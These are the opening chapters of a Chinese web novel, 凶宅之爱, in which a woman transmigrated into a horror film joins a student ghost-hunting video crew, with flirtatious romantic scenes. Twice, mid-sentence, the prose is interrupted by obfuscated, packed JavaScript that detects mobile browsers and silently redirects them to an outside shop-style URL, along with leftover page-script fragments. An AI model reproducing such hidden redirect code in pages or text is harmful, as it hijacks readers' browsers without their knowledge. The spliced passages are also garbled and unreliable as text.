《想通关就谈恋爱》 1. 《凶宅之爱》 【你是一个肤白貌美、胸大无脑、又蠢又作的炮灰女配。】 【你和沈成济以及他的小队一起来到了这栋闹鬼的房子，准备拍摄灵异探险视频。】 【你暗恋他。可惜，他不喜欢你。在这里，似乎没有人喜欢你。】 颠簸，混乱，眼前发黑。 还有……身下和胸前都传来凉凉的奇怪的感觉。 姜眠在迷糊之中睁开眼，大脑还有些呆滞，眼前已然投下一片阴影——一个人凑到了她面前，看着她，似乎在跟她说什么。 她下意识低头，看到自己穿着一件很夸张的黑色抹胸小短裙，这件堪称省布料典范的短裙勉强包裹住她青涩的身体，抹胸部分对于她平坦的胸口显得空空荡荡，全靠一根细得可怜的带子维持着摇摇欲坠的平衡，显得既滑稽又纤弱。 她有些不适应地扯了扯裙子。 “姜眠？姜眠！”少年清亮又带着点不耐烦的声音在旁边响起。 她茫然地转头，看到探险队的队长——那个恐怖片里很会赚钱也很不知天高地厚的男大学生——沈成济，正皱着眉看着她，脸上有点不耐烦，他手里拿着一个文件，似乎在跟她交代什么。 姜眠一下被他出色的外貌晃了晃眼。他看起来就像那种典型的校园风云人物，皮肤是健康的小麦色，五官轮廓分明，眉眼深邃，鼻梁挺直。 此刻虽然皱着眉，但那双眼睛依然亮得惊人，像是永远含着光。头发有点乱糟糟的，几缕深棕色的发丝随意搭在额前，反而添了几分少年人特有的不羁。他个子很高，穿着简单的黑色T恤，肩膀宽阔，整个人散发着一种蓬勃的、仿佛用不完的精力。 “你这次的剧本跟之前一样……喂，你有在认真听吗？” 姜眠徒劳地用手环抱住胸口，这衣服的抹胸不算低，但由于撑不起来，一弯腰就极为慷慨地露出大片雪白，凉风钻进她空荡荡的抹胸里，激起一阵细密的鸡皮疙瘩。 “我有在听！”姜眠咬着唇，蹙眉道，“你凶我干什么呀！没看到我的衣服穿得不舒服吗？” 被她反吼了一句的沈成济，反而愣了一下。他有些不可置信，年少气盛的天之骄子还没有被人这样吼过，更不可置信的是——那个人居然是姜眠。印象里，她从没有这样对他说过话。 他刚想说你穿什么跟我有什么关系，抬起头定睛一看，就呆了一呆。 她穿着一身他从没有见过的黑色短裙，这件衣服若是让身材火辣的女人来穿定然显得风情万种、热情明媚，可偏偏女孩儿一身白板儿似的身材，细瘦的身躯裹着不合适的宽大衣服，无端端显出一种格格不入的可怜可爱。 她并着腿，膝盖上一点儿潮红，显眼得像是一把小钩子，死死地勾住人的眼球。 “……”沈成济露出了微妙的表情，张了张嘴，什么话也没说出来。 姜眠才不管沈成济是什么表情，她正在跟系统抱怨。 【系统……为什么我穿成这样？这里不是恐怖片吗？】 系统机械却亲和的声音从她脑海中响起：【宿主，我们现在就在您之前看的那部恐怖片里。三流恐怖片里一般都有一个穿着暴露的花瓶角色，您看了那么多恐怖片，居然没有发现这个规律吗？】 【我又没有看完，只看了个开头。】姜眠在心里又是委屈，又是理直气壮地说，【我要是看完了，至于被惩罚穿进恐怖片里吗？】 【……】 系统哑口无言。 【哼，什么恐怖片之神，也太小气了吧。】姜眠在心里小声抱怨，【我只是没有看完电影而已啊，至于吗？】 【……咳咳。】系统轻咳了两声，决定装作没听见。 【总之，您的剧本就是扮演好角色，活到恐怖片的大结局，这对您来说应该不算难吧？这些恐怖片您都是看过的。】 姜眠又哼了一声，见沈成济还呆呆地看着她，她蹙眉，扯了一下裙摆。 可这裙子短得很，前面一扯，就露出清凌凌支起的锁骨，胸脯更是青涩得像是未成熟的果子，空荡荡的布料下几乎看不出弧度。 她费力地跟裙子搏斗，蹙着眉，用一种看变态团伙的眼神看着沈成济：“我必须要穿成这样吗？” “啊？不、不用啊……”沈成济顿了顿，眼神不太敢在她身上停留，飘忽地落在远处的帐篷支架上，结结巴巴地说，“但是你不是说这样上镜……哎！这地方晚上冷，都说了应该多穿——” 他自己都忘了自己当时为什么没有反对了。好像当时是觉得，反正只是个花瓶，穿什么无所谓……？等等！他不是变态来着…… 如果早知道会被姜眠这样误会，当时就该…… 他心里还没“就该”完，便见姜眠根本没有听完他后面的话，一听到不是强制要求，立刻就像只受惊的兔子嗖地一下蹿进了一旁的帐篷，也顾不上姿势雅不雅观，直径冲向了放在角落里的自己那个硕大的行李箱，翻找了起来。 片刻后，她终于从箱子里翻出一件长裙，在身上比划了一下，颇觉满意，正要换上—— 她的目光扫过来，一眼就看到了还站在帐篷里的沈成济。 瞪了他一眼，毫不客气地支使道：“你还站在这里干嘛？出去呀！” “……哦、哦。”沈成济晕晕乎乎，脑子里的想法已经乱成了一团，身后还传来女孩儿小小声的抱怨：“真是的，变态啊……” 他走到帐篷外面呆站着，身后传来窸窸窣窣的响动，像是一只小动物柔软而狡猾地钻过他的脚边，他脸上没什么表情，耳朵却越来越红。 就这样呆站了一会儿，忽然想到—— 等等，不对。 这是他的帐篷吧？！为什么姜眠能那么理直气壮地让他走啊？！ 沈成济：“……” 没过一会儿，身后的帐帘被掀起来，沈成济一肚子的话要说，一转头，只见女孩儿懒散着眉眼从帐篷里钻出来，见他守在门口，便懒懒散散地问：“你刚说什么？” 她换了一身白色的过膝裙，棉质白裙上没有多余的图案，只在裙摆上围着一圈精致的蕾丝花边，这件衣服并不暴露，甚至因为长度和花纹颜色堪称保守，但沈成济还是……可耻地脸红了。 他看到她黑色的发丝潮潮地贴在脸颊边，眼睛也是湿漉漉的，脸颊被帐篷内狭小的空间闷得微微发红，懒散垂下的眼睫在眼下打下一片脆弱的阴影，再往下，肩背曲线被棉裙勾勒得柔和而轻盈，收束在线条流畅的腰部，又在裙摆分散开来。 她站在帐篷的阴影里，那身冷白皮在昏暗的光线下泛着玉似地光泽，纤细的脖颈线条仿佛一折就断，当她抬起头，看向他的时候，那张小脸带着一种不谙世事的单纯，可眼波流转间，又像是有什么更深层的东西从骨子里渗出来，流淌出一种脆弱的美丽。 但她一开口，那种脆弱的美丽就被打破了。 “把我的剧本拿给我。” “……” 见沈成济还呆在原地，她指了指地上的文件夹，用“为什么还不动”的莫名其妙的语气，拖长了语调：“快——点啊。” “啊……哦、哦。” 沈成济竟然下意识就要蹲下身去拿放在旁边的文件夹，手都已经伸出去了，忽然再一次后知后觉地意识到了什么：等等，他为什么要听她的话？ 她是什么大小姐吗？凭什么把他当仆人用？ 他是队长还是她是队长？他现在被她支使来支使去地，颜面何存？不行，他不能被这个女人压一头。 沈成济冷了声音：“你的东西，为什么要我帮你拿？” “……”姜眠抿着唇，有点不高兴。系统说得没错，果然这里没人喜欢她。不拿就不拿，她自己也有手！ 她跑过去，蹲下身去把剧本拿在手里，又纡尊降贵地问：“你之前说的什么？我的剧本是什么？” “……你这次的剧本跟之前一样。”沈成济压着声音，往帐篷里走。 姜眠跟在他身后再次进了帐篷，随便找了个露营凳坐下，把文件夹支在膝盖上，翻开里面的剧本。 “这栋屋子据说是‘世界十大恐怖圣地’之一，我们这次的拍摄任务，就是在这屋子里住两天三夜，相当于凶宅试睡员。 你的剧本……就跟之前一样，当一个会尖叫的花、呃，氛围组。具体的情节柳缙已经写好了，你看看就行，不看也行……这是柳缙说的。他说不看的话反应更真实。” 他顿了顿，脸颊的红晕还未散去，忽然轻咳一声，飞快地说：“都跟以前一样，之前怎么样现在就怎么样就好了，不用担心。” 大概很少这样安慰人，他说话有些磕磕绊绊的，语气也很生硬。 姜眠却没有接话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712146|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他飞快地看了一眼坐在那里的女孩儿，她正瞪着剧本，也不知道看没看进去，总之一副跟纸上的文字有深仇大恨的样子，白皙圆润的脸颊肉鼓起来小小的一团，看起来有点儿娇气。 他动了动唇，还想说什么，帐篷的门帘却忽然被人从外面掀开了。 “沈成济？人呢？死哪里去了？”声音比人先闯入帐篷内，进门而来的是柳缙，他的好兄弟，探险队的编剧。 “……哦，你们在这里啊。”待他看清了帐篷里的人之后，忽然有些奇怪地顿了顿。姜眠、你也在？” 他保持着一只手撑在帐篷上的表情，看了一眼低着头的白裙子女孩儿，轻轻咳了一声，像往常一样挂上笑脸，试图掩盖自己那诡异的顿挫： “怎么了，是谁惹我们姜眠大小姐不高兴啦？想也知道，肯定是沈成济这没眼力的小子。别急，我帮你教训他。”他笑嘻嘻地，像往常一样调侃姜眠和沈成济的关系。 本来按照他们这个团队的人设，柳缙是暗恋姜眠的。但那也只是剧本的人设—— 在这个团队里，所有人都知道姜眠暗恋沈成济，但沈成济却不是这么想的，他看不上她。 柳缙也最看不上这种倒贴脸的行为，时常调侃——又或者说是，明褒暗讽地用语言刺姜眠。 姜眠哼了一声，没理他，专心看剧本。 不知怎地，那一声带着娇气的“哼”像羽毛似地轻飘飘地钻进了柳缙的耳朵里，他只感觉自己像猫似地，被这根“羽毛”拿捏得脑子都木了一下。 他僵了一下，却又自觉丢脸，很快找回平常的笑眯眯的样子，一边伸着懒腰，一边走到椅子旁边，一屁股坐下来——虽然他脑子里不是这么想的，但屁股似乎有自己想法，自觉地坐在了姜眠的身边。 他看到姜眠的膝盖上支着剧本文件夹，嬉皮笑脸地对两人说，“看剧本啊？有什么想问的，来吧！我准备好接受组织的考验了！” “……”沈成济没说话，帐篷里陡然陷入了令人不安的寂静。 柳缙看看沉默的沈成济，又看看低着头的姜眠，还没明白他们是啥意思，已经敏锐地嗅到了空气里不同寻常的氛围，他尴尬地笑了两声：“……不说话是什么意思？之前的剧本不都是我写的吗？” “姜眠，你来说说呗，之前你不是很满意我的剧本吗？我可有信心了，现在这个怎么样？” “呵呵。”姜眠赏了他两个大字并一个白眼，“不怎么样。” “……”柳缙一下语塞了。如果换了平常的他——换了几分钟前的他，听到有人这样说自己写的东西，他肯定会跳起来跟人对骂。 但他对上了姜眠的眼睛。 女孩十分不优雅地翻着白眼，穿着纯洁的白裙子却掩不住那股颐指气使的娇纵味儿，生气时，漂亮的眉眼都皱成一团，看人的时候，即使矮人一截，她也是微微抬着下巴的，稍不满意就要拿眼睛瞪人。 “为什么要给我写这个剧本？你不觉得这个剧本很像……” “很像什么？”即使知道姜眠不会说出什么好话，柳缙仍旧忍不住，眼巴巴地问了。 “……像恐怖片里的炮灰啊。”姜眠忍不住有点想发火，抱怨道，“为什么要给我这个剧本？你就那么不喜欢我吗？” “这个不是你喜欢的剧本吗……等等，我没有不喜欢你！”柳缙傻了傻，“我不是暗恋你……吗……” 他的声音越说越小声。 暗恋姜眠，本来是他们的团队人设，是剧本来着。 但是现在，他却莫名其妙地突然提起，连自己都感到莫名其妙。 他感觉自己嗓子干哑，咳了一声说：“你想要什么剧本？……我再写就是了。” 姜眠的眉头这才舒展开：“嗯，至少我得是活到最后的那个人吧。然后……不能这么一惊一乍的，没有主角风范。还有，我要……” 她正要挥斥方遒地指点一下恐怖片里的大女主剧本是如何写出来的，帐篷帘忽然又被人从门外掀开了。 “！”姜眠有些不满地瞪着来人。 那人穿着一身简单的卫衣，头发稍微有些遮住眼，身后的光给他镀上了一层刺眼的金边。 对方垂下眼，英俊的脸上没什么表情，淡淡地看着她。 “房东来了。”他移开了眼，平静地说，“他让我们过去一趟。” 2. 《凶宅之爱》 面色冷淡的男人叫谷弘，是团队里的摄影师，也负责一些后勤杂事，是沈成济的朋友，但跟他们没有那么熟——他们四人都是同一所大学里的学生，沈成济是个穷鬼，而且是个很需要钱的穷鬼。 这也是他不断拍摄灵异探险视频的原因。 柳缙是沈成济的好朋友，他不缺钱，反倒是个很有钱的公子哥，平日里有事没事就爱装文艺写点小剧本，参加沈成济的灵异探险视频，没别的，就爱找刺激。 而姜眠——她同柳缙是朋友，也加入了学校的文学社，某次跟柳缙一起吃饭见到沈成济，惊为天人，疯狂地追求他，并且主动加入了当时还不不温不火的沈成济的探险小队里。 至于谷弘，他虽然是沈成济的朋友，但跟他们都不算熟悉。他是个很冷淡的人，平常无论拍不拍摄，都只是默默地站在一边看着他们，有时则拿着摄像头记录他们，并不参与他们的话题。 姜眠猜测谷弘估计也是因为钱而来到小队的——谁会嫌钱少呢？更何况，他们的探险频道是那么火，每次拍完视频，他们都能拿到对于大学生来说简直是天文数字的分成。 跟着谷弘，他们见到了这栋传闻中“世界十大恐怖圣地之一”的闹鬼的房子的房东。 房东是个看起来年纪有些大的中年男人，穿着齐整的西装，略有些秃顶，见到他们时搓着手，一副慈眉善目的样子，却在提起这栋房子时面露惊色。 “这房子是很久之前从另一个个人买家那边接手的。”说起前任房主，房东面露苦涩，而谷弘已经拿起了相机开始记录——他们要先拍一个宣传片，放到网络上去预热。 “那时候刚出社会，穷嘛。我看这套房子便宜，虽然听说闹鬼，而且还闹得人尽皆知，但是……哈哈，穷嘛。”房东挠了挠脑袋，“其实那时候，就已经死了不少人了。” “最早住在这里的，好像是一对夫妻和他们的孩子，但也不知道什么原因，一家三口都死在了屋子里，灭门惨案啊。”他“啧啧”了两声，“也挺可怜的，听说当时警察来的时候，那血啊，啧，飙得整个屋子的墙壁和天花板上都是。” 姜眠和众人都随着他的视线看过去。 这是一栋二层的独栋小屋，屋内黑漆漆的，旁边虽然有临近住户，但几乎都已经搬离，看不到一点人类活动的迹象，而小屋屋外的院内杂草丛生，目测大约已经有十几年没有人住了，荒废得厉害，没有丝毫人气。 “我来之前，这房子还住过三任住户，但是……”房东犹豫了一下，视线刻意地避开了小屋黑漆漆的窗户，含糊着道，“都……没什么好下场。” “他们都死了？”沈成济直白地问。作为灵异视频的主播，他很懂得要用什么手段吸引观众的眼球。 “嗯，差不多吧。”房东含糊地说，“我记得有对新婚夫妻买了这栋房子当婚房，据说是一对很热情的小夫妻，他们刚搬进来的时候时常跟周边的邻居关系很好，但没过多久，一死一疯，据说是疯掉的那个砍死了……她的丈夫。” 后来又有一家六口住在这里，一对夫妻，两个孩子和两个老人……呃，都死在屋子里了，据说啊，那案发现场跟第一任房主的灭门案一模一样。 再后来，就是转手把屋子卖给我的那家，是个年轻的男生，跟你们一样，喜欢研究这种神神鬼鬼的东西，好像也跟你们一样读大学，他搬进来一个人住了一段时间，人却莫名其妙地失踪了，像人间蒸发一样，没人知道他去了哪里，也没人知道他是什么时候消失的——没找到任何线索。 他父母把房子卖给我，再也没有回来过这里了。” 他说了这么多，却没有提到自己的故事。 姜眠问：“那您有遇见什么奇怪的事情吗？” 房东苦笑了一声，再次搓了搓手，似乎这个问题让他感到非常紧张。 他打开了小院的大门，引着他们走进屋内—— 屋子空置了十几年，早已经断水断电，屋内的采光似乎并不好，房东打开手电筒，黑暗的屋内顿时出现了一束明晃晃的光源。 “啪”地一声，四人齐齐打开了手机电灯，勉强照亮了一片小空间。 映入眼帘的是灰扑扑的、落满灰尘的家具和地板。户型看起来就是普通的二楼小院，一楼是足足有七八十个平方的客厅，靠里有两间房间，都关着门，门上贴的福字已经褪了色，甚至有一张掉了半边，惨白的纸张在手电筒同样惨白的光影下显出几分说不出的诡异。 “这里是书房和客卧。”房东简单地介绍，带着他们绕过了一地的废旧垃圾——这屋子里没有收拾过，不仅是家具椅子就那样摆在原地，客厅的桌子上还摆着果盘，里面的水果早已经腐烂到只剩下一片漆黑的果干，房东搬离的时候似乎非常匆忙。 他带着他们走上二楼：“二楼是两间主卧和一间客卧，还有一间独立浴室，你们可以随便住，但是……呃，我劝你们最好不要住在这里。” “二楼死过人？”沈成济很感兴趣地问。 房东又犹豫了一下。过了一会儿，他才慢吞吞地说：“最早那户一家三口就是死在浴室里的……凶手是在浴室分、分尸的。” 四周一片漆黑，只有他们手里的光源照出了小小的一片天地。 姜眠忽然感觉到四周安静得近乎诡异……他们听不到任何的人声鸟叫或是虫鸣，就好像，就好像他们处在一个异世界，只有被照亮的地方是真实存在的，而身侧只有无边无际的黑暗。 好像……有点可怕。 姜眠吞了吞口水，心里立刻闪过了无数部经典恐怖片，比如＊怨，伽椰＊，贞＊之类的恐怖片……虽然她都没看完，但想象才是最恐怖的…… 她不着痕迹地靠近了沈成济，抓住了他的袖子。 黑暗中，他似乎撇来一眼，姜眠什么都看不清，只感觉到自己抓住的袖子下的手臂动了动，似乎很僵硬，不知道是不是想收回去。 她眯起眼睛，在黑暗中跟他对视了一眼，他们对上了视线，沈成济的瞳孔微微放大，似乎有点震惊的意思，但飞快地，他侧过头去了，过了大概几秒钟，他又试图把手臂抽走。 等等。姜眠一脸不可置信。什么意思啊？懂不懂什么叫礼让女士、什么叫互相帮助啊！ 虽然提前从系统的口中知道了这里没有人喜欢她，但姜眠还是怒了。 就算是对个陌生人都要讲礼貌一点吧？更何况他们还是那么久的朋友！ 她一把抱住沈成济的手臂，两只手，抱得牢牢的，像一只扒住树干的考拉一样，把手臂和身体都贴上去。 手臂下的身体热乎乎的，不愧是十八岁的男大，热风箱似地往外冒着热气，熏得她都有点发热了。姜眠轻咳了声，捏着嗓子说：“沈成济，我有点怕……” 沈成济的身体更僵硬了。她往上看，他的表情也有点僵住了。不知道是不是贴在一起真的太热，他的脸活像是被烧熟了，红彤彤的冒着热气。 叫你抽手。就贴，就贴。 她又抱着手臂蹭了蹭。 哼哼，难受吧。 难受也要被她强制爱！ 沈成济看起来真的很难受。他浑身僵硬，感觉喉咙里像是烧着一团火，又晕又痒，不上不下的，那张一贯能说会道的嘴开开合合，也不知道说点什么。 过了好一会儿，他才憋出一句：“有、有那么怕么……” 怕到，雪白的、瓷器一样的脸颊上熏着热气，眼睫微微颤抖着，雾蒙蒙的眼睛半睁，漂亮的眉毛也可怜兮兮地搭着。 没什么肌肉只有软肉的胳膊，紧紧地抱着他，贴着他，柔软的身体曲线也紧贴着他，沈成济的脑子“嗡”地一声，完全木掉了。 那条被抱住的手臂，也已经不像是他的手臂了——或者说，他已经感觉不到自己其他肢体的存在了，仿佛浑身上下只剩下一条手臂，所有的感知都集中在了女孩儿抱着自己的柔软的胳膊上了。 他清晰地感觉到柔软的曲线，又有一点儿硬点从他手臂上擦过。 他僵住了。 女孩抬起头，瞪了他一下：“怎么，不给抱？” “……没有不给。”他哑着嗓子说。 “算你识相。”她轻轻地从鼻子里哼出一声，威胁说，“下次你要乖乖站着，让我抱知道了吗。” ……不是，他表现得这么差，还有奖励的吗。十八岁的处男哪里见过这世面，简直被弄得脑袋爆炸了。 “问你呢，知道了吗？” “知、知道了。”他晕晕乎乎地说。 “这还差不多。” 他十分勉强地抽出了一点点微不足道的理智，意识到自己完全就是……被当狗训了啊。 他仍试图挣扎一下。 房东还苦着脸，在讲述自己的遭遇。 “我住在这里的时候，浴室里就经常传来奇怪的声音。我虽然胆子大，但一个人住，心里也发毛，所以一有什么声音，我就躲在被子里，假装没听见。 后来声音越来越大，好像是……有很多人在说话，夜深人静的时候，我还听到有人在笑。我不敢住二楼了，就搬到楼下去了。” “您在楼下就再也没有听到过声音了吗？”柳缙问。 “……嗯，是的。”房东苦着的脸终于好看了点，“我搬到楼下的书房住了一段时间，再没有发生过什么奇怪的事情，但心里还是发毛，有点钱就赶紧搬走了。” 柳缙露出了若有所思的表情。 他看了看摄像头，谷弘肩扛着的摄像机正亮着一点红光，无声地记录着一切，他忽然对摄像头笑了一下，对房东说：“除了怪声和怪笑之外，这房子似乎也没什么不得了的东西嘛。万一这些都是你们的错觉呢？” 房东也看了一眼摄像机——可能是想到了沈成济给他塞的钱，而且沈成济已经把这栋他十几年都没能脱手的房子买下来了。看在钱的份上，他一咬牙说：“好吧，其实还有一件事，我从来都没有告诉过其他人。” 这句话顿时吸引了所有人的眼球。姜眠即使有点害怕，也忍不住探出脑袋听。 房东吞了吞口水。他没敢直接说出来，先往下走，走到了一楼的书房里，又神经兮兮地环顾四周，像是确定了隔墙“无”耳，才压低声音说： “二楼，有一个浴室。就是我之前跟你们说的，最早那户一家三口被……的地方。我住在楼上的时候，有时也用那个浴室，那浴室里总是莫名其妙地出现积水。” “积水？浴室里有积水不也很正常吗？” “不是！”房东压低的声音里也掩饰不住的恐惧，“是浴缸里有积水。里面，喏，你们进去看就知道了，里面有个嵌入式的浴缸，据说最早那户人家就是在里面被……的，所以我从来没有用过，都是拿塑料布盖着的。 但有好几次，我发现里面积满了水。塑料布下面，还有隐约传来的声音……像是，有什么人在、在哭……” 他压低的声音在寂静的黑夜里不断扩散，像是一曲恐怖的童谣，在空空荡荡的房间里不断回响。 他话音刚落地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712147|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，门外，忽然有人敲门的声音。 “咚咚。” 四周一片寂静，敲门声清晰得仿佛就响在耳边，五个人面面相觑，没有一个人敢开口，都露出了惊诧的表情。 半晌，房东扯出一个比哭还难看的笑，颤巍巍地说：“不、不会吧？这……这附近的人都搬走了才对，怎么会有人……敲门……” 就像是听到了他的话一样—— “咚咚。咚咚咚！”门外停歇许久的敲门声再次响起，一声接着一声，越来越急促，越来越快速。 众人一齐看向了门外，沈成济一下子跳起来，三两步冲到门口，手电筒的灯光只能照亮他远去的背景，众人急匆匆地追过去，却只能看到他拉住大门的锁，“咔嚓”一声—— 姜眠的心都跳到了嗓子眼，她下意识伸手去抓沈成济，却落了个空，下意识叫道：“沈成济——！” “咔！” 柳缙在他们身后笑眯眯地叫道。 谷弘关掉了摄像机，房东呼出一口气，而沈成济打开了大门—— 门外，站在一个有几分面熟的年轻男人，腼腆地笑着，搓着手，对他们说：“怎么样，拍好了吗？” 姜眠一口气差点没喘上来。 沈成济朝年轻男人比了一个“OK”的姿势，笑眯眯地说：“谢啦哥们，之后就……” 他话还没说完，下一秒，脑袋被人重重地打了一下。 他回头。姜眠站在他身后，气呼呼地大喊：“你们是神经病吧！！！”说完，也不等他反应，回头瞪了其他人一眼，又狠狠地踩了他一脚，跑出了门外。 沈成济愣了一下。他回过头，看向身后同样一脸懵逼的柳缙和其他人。 好半晌，柳缙莫名其妙地问：“……你没把剧本给她看么？” 沈成济：“……”他梦游一般说，“好像是，看过了的吧？” 但姜眠看起来是真的被吓到了。 他追出门外，看到帐篷的门帘摇晃着，是刚刚被人从里面放下。他走过去，有点纠结，又有点哭笑不得。 “姜眠？”他站在帐篷外，有些犹豫地看向帐篷里的人，“刚刚那个是剧本来着，你知道的，预告片总要有一些悬念，所以我拜托房东的儿子来帮忙……” 身后传来脚步声，是柳缙和谷弘也赶了过来，两人先把房东和他儿子送走了，现在过来看看发生了什么。 柳缙给沈成济使了个眼色，意思是：这是怎么了？ 沈成济没心思搭理他，只是匆匆地往后看了一眼，确定房东和房东的儿子都离开了，才靠着帐篷，试探性地问： “姜眠？姜眠？” 姜眠背着身坐在帐篷角落里。三人交换了一个眼神，彼此的眼睛里都能看到一句手足无措的“怎么办？”。 沈成济的无措尤甚。他忍不住想起了在房间里的那个拥抱——如果那能叫拥抱的话。 看来是真的被吓到了。以前……她有这么胆小么？ 沈成济发现自己有点不太记得了。以前他好像从没有把这种事情放在心上，再说了，姜眠是主动加入他们的团队的，虽然说是因为…… 但是、难道、她一直都这么胆小，却因为暗恋他，而强行忍住吗？ 那他也太混蛋了。居然从没有发现这一点。 这样想着，道歉已经脱口而出了：“抱歉姜眠，那个剧本的事情……我应该提前告诉你一声的。” ——已经完全忘了，他早就把剧本给姜眠看过，是她自己没看的事情了。 他忘了，但柳缙可还记得。他张了张嘴，用一种“见鬼了”的表情，目瞪口呆地看着自己的好兄弟。 或许是他的表情所表达出来的意思太明显了，沈成济也顿了一下。 不是才在心里说过，不能被姜眠当狗训吗…… 对啊，他凭什么要那么着急，贴上去哄人啊？ 到底是谁暗恋谁啊？一个人的时候让她抱一抱手臂也就算了，在其他人面前被她支使来支使去地，岂不是告诉其他人，他被姜眠压了一头。 “……”他干巴巴地解释说，“这就是剧本，我不是给你看过了吗？” 他干巴巴地说完，干巴巴地走上前去，试图把姜眠拉起来：“好了别坐在这里了，今晚还有事要做。” 他没想到，他只是轻轻拽了一下，却一下就拉动了坐在那里的女孩儿。 她表情不是很好看，低着头，声音也压着，说：“去干什么。” 从沈成济的角度，只看见她低垂的眼睫翕动着，小巧的鼻尖也皱着，嘴唇柔软红润，有点生气地抿着。 “去收拾房间。”沈成济轻咳了两声，还是忍不住，装作不经意地把手臂放在她面前。 “干什么？”她抬起头，语气不是很好，有点冲。“你想干嘛。” “……给你抱一下。”沈成济又干巴巴地说，“如果你害怕……可以随便抱我。” 视线里，女孩儿把唇抿得紧紧地，洁白的贝齿在柔软湿红的唇上咬来咬去，留下亮晶晶的水渍。 “别咬了……”沈成济忍不住说，话一出口，又觉得自己的嘶哑的声音怪怪的。但脑海中坚持“不要让姜眠压自己一头”的想法，最终还是被那道亮晶晶的水渍战胜，第一句话一开口，后面的话就顺畅多了：“下次一定提前提前跟你说。拍摄要开始了，我给你收拾房间，好不好？” 姜眠哼了一声，拍掉他的胳膊，直径走出了帐篷。 “我没有手吗，我可以自己收拾。” 3. 《凶宅之爱》 ——最后还是让沈成济帮忙收拾房间了。 但这事说来话长。 按照沈成济和柳缙准备的拍摄剧本，他们要在这个闹鬼的房子里住上三天两夜，拍摄一些提前设计好的，诡异恐怖的画面，这些画面会在后期剪辑成视频上传至网站，为他们获得巨大的收益和流量，当然，也不止于此。 沈成济买下了这栋房子，他准备在视频发出后，利用剩余的流量，将这栋屋子改造成探险鬼屋，打造成沉浸式体验恐怖氛围的灵异圣地，再狠赚一笔钱。 当然——这些都建立在他们把这个视频拍好、拍完整、拍恐怖的基础上。 所以沈成济对这次的拍摄也是十分上心，就结果来看……姜眠觉得挺好的。 虽然她是真的被吓了一大跳，但是其实冷静下来再想想，这个噱头确实非常能吸引人，沈成济又有商业头脑又会博人眼球，也怪不得他赚钱。 所以，为了沈成济那伟大的“商业帝国”，他们四个初始员工不得不暂时先在房间里打地铺了。 他们首先面临的难题就是房间的分配。 原本沈成济在买房子的时候就打听过了，这屋四个房间，刚好一人一间，他们就当旅馆酒店那样住几天，拍点视频，也就过去了—— 但他们没想到的是，这屋子，是真的又破又烂，荒无人烟，而且看起来……也真的挺恐怖的。 于是分开睡的计划遭到了姜眠的强烈反对，不了了之。 沈成济灵活改变计划，重新分配房间：之前房东住的那间书房给姜眠，谷弘睡一楼的客卧，他和柳缙在客厅打地铺，挤一下，大家都睡在一楼。 这样，姜眠才勉强同意。 可惜的是屋子太旧了，几间屋子，没一个能住人的。幸好他们早有准备，带了齐全的床带被套，还带着一些野外生存工具。 一切分配齐全，各自打扫各自的房间，柳缙和谷弘从车上把他们带的几箱水和食物搬到了客厅，也把东西交给姜眠。 “真的不用我帮忙？”柳缙拍着姜眠肩膀问，他笑眯眯地，带着点劝诱的意味，“你不要沈成济帮忙，我也可以帮你的嘛。” “喂……”沈成济站在他们身后，拿着扫把围着围裙的样子活像个家庭煮夫，怨气大得吓人，“我还在这里呢，就说我坏话了？” 姜眠哼哼唧唧地说：“别小瞧人了，我又不是那种干不了活的大小姐。”说罢，就抱着床单被子走进房间里，开着门就开始干活。 门外的其他人见她忙活起来，也各自去忙自己的事情。书房已经算是这个房子里最干净的地方了，至少住过人，不会特别埋汰。其他地方才是真的惨不忍睹，地上的灰厚得能有一厘米，各种家具破破烂烂地摆在各处，轻轻一碰就碎成一地的黑渣。 三人埋头干着活，就见姜眠打扫着打扫着，书房的门忽然“嘎吱”一声打开了。 三双眼睛的注视下，姜眠出来了一趟。 现在正是一年中最热的盛夏，七月份的天就连傍晚都是闷热的，空气中像是弥漫着密不透风的水汽，酷热难耐，即使在屋内，走几步就能出一身的汗。 她的棉裙子都有点被打湿，额上浸着一层细密的汗珠，白皙的脸颊浮出一层淡淡的潮红，她费力地用手扇着风，脸侧的刘海都湿了，紧贴在下巴上。 柔软的唇瓣开合着，湿热热地往外冒热气，下巴上都挂着潋滟的汗水。 她环视一周，打开一瓶水喝了几口，一屁股坐在沈成济刚清理好的沙发上，嘴唇不悦地紧抿：“这破地方，怎么连空调都没有啊。” 在一栋废弃十几年的、闹鬼的房子里找空调这事，大概也就只有姜眠干得出来了。 但偏偏就是她说的话，竟然让人感觉没有丝毫不对，仿佛她说的是天经地义，这房子里没有空调才是奇怪的。 沈成济顿了顿，眼神在她润红的嘴唇上停留了一瞬，走了过来。 姜眠正抱怨着，眼前突然投下一片阴影，她抬头，见沈成济站在她面前，不知道从哪里翻出一张纸来：“你……先擦擦。” 她刚要接过纸，却见沈成济像是有点不耐烦地“啧”了一声，忽然伸出一只手，食指捏住她的下巴，不容抗拒地抬起。 下一秒，纸巾就迎面盖上她的脸，有点生涩地擦过她的额头和眼角。 他的手指上全是茧子，磨在她的脸上，动作也没轻没重地，像砂纸刮过。 “你……你干嘛！”姜眠挣扎，但挣扎未果，气得伸出脚踹他。 面前的男人忽然闷哼了一声，停下了动作。 他垂着眼，目不转睛地盯着她，因为踢腿的动作，雪白的棉裙微微上翻，一双同样雪白而修长的腿搭在脏兮兮的 